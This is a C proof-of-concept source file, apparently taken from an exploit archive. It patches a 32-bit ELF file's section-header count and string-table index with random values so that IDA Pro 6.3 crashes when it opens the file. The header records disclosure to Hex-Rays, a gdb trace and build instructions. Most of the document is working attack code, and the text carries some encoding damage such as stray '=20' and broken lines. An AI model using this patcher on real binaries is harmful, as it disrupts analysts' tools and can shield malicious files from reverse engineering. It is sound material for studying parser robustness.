1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 |
/* * * IDA Pro 6.3 (crash due an internal error) * ELF anti-debugging/reversing patcher * * Published @ IOActive Labs Research blog: * http://blog.ioactive.com/2012/12/striking-back-gdb-and-ida-debuggers.html * * - nitr0us [ http://twitter.com/nitr0usmx ] * * Tested under: * IDA Pro Starter License 6.3.120531 (Mac OS X) * IDA Pro Demo6.3.120730 (Ubuntu Linux 9.04) * IDA Pro Demo6.3.120730 (Mac OS X 10.7.3) * IDA Pro Demo6.3.120730 (Windows Vista Home Premium SP2) * * Bug found using Frixyon fuzzer (my ELF file format fuzzer still in develo= pment) * * Timeline: * 21/11/2012The bug was found on IDA Demo 6.3 * 22/11/2012The bug was tested on IDA Pro Starter License 6.3.120531 (3= 2-bit) * 22/11/2012The bug was reported through the official Hex-Rays contact = emails * 23/11/2012Hex-Rays replied and agreed that the bug leads to an unreco= verable * state and it will be fixed on the next release * **************** TECHNICAL DETAILS *********************** nitr0us@burial:~$ gdb -q idaq (gdb) r a.out (no debugging symbols found) Program received signal SIGTRAP, Trace/breakpoint trap. [Switching to Thread 0xb6860760 (LWP 3638)] 0xb55f7694 in default_notification_handler (reader=@0xbfbffae0, notif=reader_t::err_shstrndx) at reader.cpp:33 33reader.cpp: No such file or directory. in reader.cpp Current language:auto; currently c++ (gdb) The root cause of the problem is that there's no validation to verify if e_shstrndx > e_shnum before referencing it. ********************************************************** * * [Compilation] $ gcc ida_63_elf_shield.c -o ida_63_elf_shield -Wall * * Sh0utz: IOActive fellows, CRAc, b33rc0n crew (dex, hkm, calderpwn, * Carlos Ayala, Daemon [Thanks for test it on IDA paid $$$],=20 * LightOS) chr1x, alt3kx, tr3w, crypkey, el_chito, nahual, beck,=20 * sirdarkcat, NataS, ran, Fede Bossi, nediam, psymera, Rolman,=20 * Kbrown, Bucio, p4dm3, Hector Lopez, zeus, Matias Brutti, * sunl3vy, Raaka_elgaupo, vendetta, raito, beavis, el5patas,=20 * vi0let. * * * http://chatsubo-labs.blogspot.com * http://www.brainoverflow.org * */ #include <sys/mman.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdio.h> #include <fcntl.h> #include <time.h> #define EI_NIDENT 16 #define ELFCLASS321 /* 32-bit objects */ #define ELFDATA2LSB 1 /* 2's complement, little endian */ const char e_magic[4] = { 0x7f, 'E', 'L', 'F' }; typedef uint16_t Elf32_Half; typedef uint32_t Elf32_Word; typedef uint32_t Elf32_Addr; typedef uint32_t Elf32_Off; typedef struct { unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */ Elf32_Halfe_type; /* Object file type */ Elf32_Halfe_machine;/* Architecture */ Elf32_Worde_version;/* Object file version */ Elf32_Addre_entry;/* Entry point virtual address */ Elf32_Off e_phoff;/* Program header table file offset= */ Elf32_Off e_shoff;/* Section header table file offset= */ Elf32_Worde_flags;/* Processor-specific flags */ Elf32_Halfe_ehsize; /* ELF header size in bytes */ Elf32_Halfe_phentsize;/* Program header table entry size = */ Elf32_Halfe_phnum;/* Program header table entry count= */ Elf32_Halfe_shentsize;/* Section header table entry size = */ Elf32_Halfe_shnum;/* Section header table entry count= */ Elf32_Halfe_shstrndx; /* Section header string table inde= x */ } Elf32_Ehdr; int isELF(int fd); int main(int argc, char **argv) { Elf32_Ehdr*header; Elf32_Halfnew_shnum; Elf32_Halfnew_shstrndx; intfd; printf("######################################################\n"); printf("##\n"); printf("# IDA Pro 6.3 - ELF anti-debugging/reversing patcher #\n"); printf("#-nitr0us- #\n"); printf("##\n"); printf("######################################################\n\n"); if(argc < 2){ fprintf(stderr, "Usage: %s <elf_file_to_patch>\n", argv[0]); exit(-1); } if((fd = open(argv[1], O_RDWR)) == -1){ perror("open"); exit(-1); } if(!isELF(fd)){ close(fd); exit(-1); } // Mapping to memory only the necessary bytes [sizeof(header)] if((header = (Elf32_Ehdr *) mmap(NULL, sizeof(header), PROT_READ | PRO= T_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED){ perror("mmap"); close(fd); exit(-1); } printf("[*] The ELF file originally has:\n"); printf("[-] Ehdr->e_shnum:%5d (0x%.4x)\n", header->e_shnum, header->= e_shnum); printf("[-] Ehdr->e_shstrndx: %5d (0x%.4x)\n\n", header->e_shstrndx, hea= der->e_shstrndx); printf("[*] Patching \"%s\" with new random() values...\n\n", argv[1]); srand(time(NULL)); // seed for rand() new_shnum= (Elf32_Half) rand() % 0x1337; new_shstrndx = (Elf32_Half) 0; while(new_shstrndx < new_shnum) new_shstrndx = (Elf32_Half) rand() % 0xDEAD; header->e_shnum= new_shnum; header->e_shstrndx = new_shstrndx; // Synchronize the ELF in file system with the previous memory mapped if(msync(NULL, 0, MS_SYNC) == -1){ perror("msync"); close(fd); exit(-1); } close(fd); munmap(header, 0); printf("[*] The patched ELF file now has:\n"); printf("[+] Ehdr->e_shnum:%5d (0x%.4x)\n", new_shnum, new_shnum); printf("[+] Ehdr->e_shstrndx: %5d (0x%.4x)\n\n", new_shstrndx, new_shstr= ndx); printf("[*] IDA Pro 6.3 should crash trying to load \"%s\"\n", argv[1]); return 0; } int isELF(int fd) { Elf32_Ehdrheader; if(read(fd, &header, sizeof(header)) == -1){ perror("isELF(): read"); return 0; } /* magic number verification */ if(memcmp(header.e_ident, e_magic, 4) != 0){ fprintf(stderr, "The argument given is not an ELF file !\n"); return 0; } /* 32-bit class verification */ if(header.e_ident[4] != ELFCLASS32){ fprintf(stderr, "Only 32-bit ELF files supported !\n"); return 0; } /* little-endian verification */ if(header.e_ident[5] != ELFDATA2LSB){ fprintf(stderr, "Only little-endian ELF files supported !\n"); return 0; } return 1; } |